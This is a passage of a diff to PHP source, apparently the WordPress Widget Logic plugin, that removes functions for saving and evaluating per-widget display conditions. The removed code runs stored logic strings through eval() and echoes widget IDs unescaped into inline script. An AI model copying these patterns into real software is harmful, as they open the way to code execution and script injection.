- $widget_class = $m[1];
- $widget_i = $m[2];
-
- $info = get_option( 'widget_'.$widget_class );
- if ( !is_array( $info[ $widget_i ] ) )
- $info[ $widget_i ] = array();
-
- $info[ $widget_i ]['widget_logic'] = $logic;
- update_option( 'widget_'.$widget_class, $info );
- }
- else if( isset( $_POST['widget_logic_nonce'] ) && wp_verify_nonce( $_POST['widget_logic_nonce'], 'widget_logic_save') ) {
-
- $info = (array)get_option( 'widget_'.$widget_id, array() );
- $info['widget_logic'] = $logic;
- update_option( 'widget_'.$widget_id, $info );
+ if (!empty($wl_options['widget_logic-options-filter'])) {
+ add_filter('dynamic_sidebar_params', 'widget_logic_widget_display_callback', 10);
+ // redirect the widget callback so the output can be buffered and filtered
}
}
-
-// CALLED ON 'sidebars_widgets' FILTER
-function widget_logic_filter_sidebars_widgets( $sidebars_widgets )
-{
- global $wl_options, $wl_in_customizer;
-
- if ( $wl_in_customizer )
- return $sidebars_widgets;
-
- // reset any database queries done now that we're about to make decisions based on the context given in the WP query for the page
- if ( !empty( $wl_options['widget_logic-options-wp_reset_query'] ) )
- wp_reset_query();
-
- // loop through every widget in every sidebar (barring 'wp_inactive_widgets') checking WL for each one
- foreach($sidebars_widgets as $widget_area => $widget_list)
- {
- if ($widget_area=='wp_inactive_widgets' || empty($widget_list))
- continue;
-
- foreach($widget_list as $pos => $widget_id)
- {
- $logic = widget_logic_by_id( $widget_id );
-
- if ( !widget_logic_check_logic( $logic ) )
- unset($sidebars_widgets[$widget_area][$pos]);
- }
- }
- return $sidebars_widgets;
-}
-
-
-function widget_logic_check_logic( $logic )
-{
- $logic = @trim( (string)$logic );
- $logic = apply_filters( "widget_logic_eval_override", $logic );
-
- if ( is_bool( $logic ) )
- return $logic;
-
- if ( $logic === '' )
- return true;
-
- if ( stristr( $logic, "return" ) === false )
- $logic = "return ( $logic );";
-
- set_error_handler( 'widget_logic_error_handler' );
-
- try {
- $show_widget = eval($logic);
- }
- catch ( Error $e ) {
- trigger_error( $e->getMessage(), E_USER_WARNING );
-
- $show_widget = false;
- }
-
- restore_error_handler();
-
- return $show_widget;
-}
-
-function widget_logic_error_handler( $errno , $errstr )
-{
- global $wl_options;
- $show_errors = !empty($wl_options['widget_logic-options-show_errors']) && current_user_can('manage_options');
-
- if ( $show_errors )
- echo 'Invalid Widget Logic: '.$errstr;
-
- return true;
-}
-
-function widget_logic_customizer_dynamic_sidebar_callback( $widget )
-{
- widget_logic_customizer_display( $widget['id'] );
-}
-
-function widget_logic_customizer_display( $widget_id )
-{
- if ( !preg_match( '/^(.+)-(\d+)$/', $widget_id) )
- return;
-
- $logic = widget_logic_by_id( $widget_id );
-
- global $wl_options;
- $show_errors = !empty($wl_options['widget_logic-options-show_errors']) && current_user_can('manage_options');
-
- ob_start();
- $show_widget = widget_logic_check_logic( $logic );
- $error = ob_get_clean();
-
- if ( $show_errors && $error ) :
- ?><script>jQuery(function($){$('#<?php echo $widget_id?>').append( $('<p class="widget-logic-error">').html(<?php echo json_encode($error)?>) );})</script><?php
- endif;
- if ( !$show_widget ):
- ?><script>jQuery(function($){$('#<?php echo $widget_id?>').children().not('.widget-logic-error').css('opacity', '0.2');})</script><?php
- endif;
-}
-
-// CALLED ON 'dynamic_sidebar_params' FILTER - this is called during 'dynamic_sidebar' just before each callback is run
-// swap out the original call back and replace it with our own
-function widget_logic_widget_display_callback($params)
-{ global $wp_registered_widgets;
- $id=$params[0]['widget_id'];
- $wp_registered_widgets[$id]['callback_wl_redirect']=$wp_registered_widgets[$id]['callback'];
- $wp_registered_widgets[$id]['callback']='widget_logic_redirected_callback';
- return $params;
-}
-
-
-// the redirection comes here
-function widget_logic_redirected_callback()
-{ global $wp_registered_widgets;
-
- // replace the original callback data
- $params=func_get_args();
- $id=$params[0]['widget_id'];
- $callback=$wp_registered_widgets[$id]['callback_wl_redirect'];
- $wp_registered_widgets[$id]['callback']=$callback;
-
- // run the callback but capture and filter the output using PHP output buffering
- if ( is_callable($callback) )
- { ob_start();
- call_user_func_array($callback, $params);
- $widget_content = ob_get_contents();
- ob_end_clean();
- echo apply_filters( 'widget_content', $widget_content, $id);
- }
-}
-
-?>
\ No newline at end of file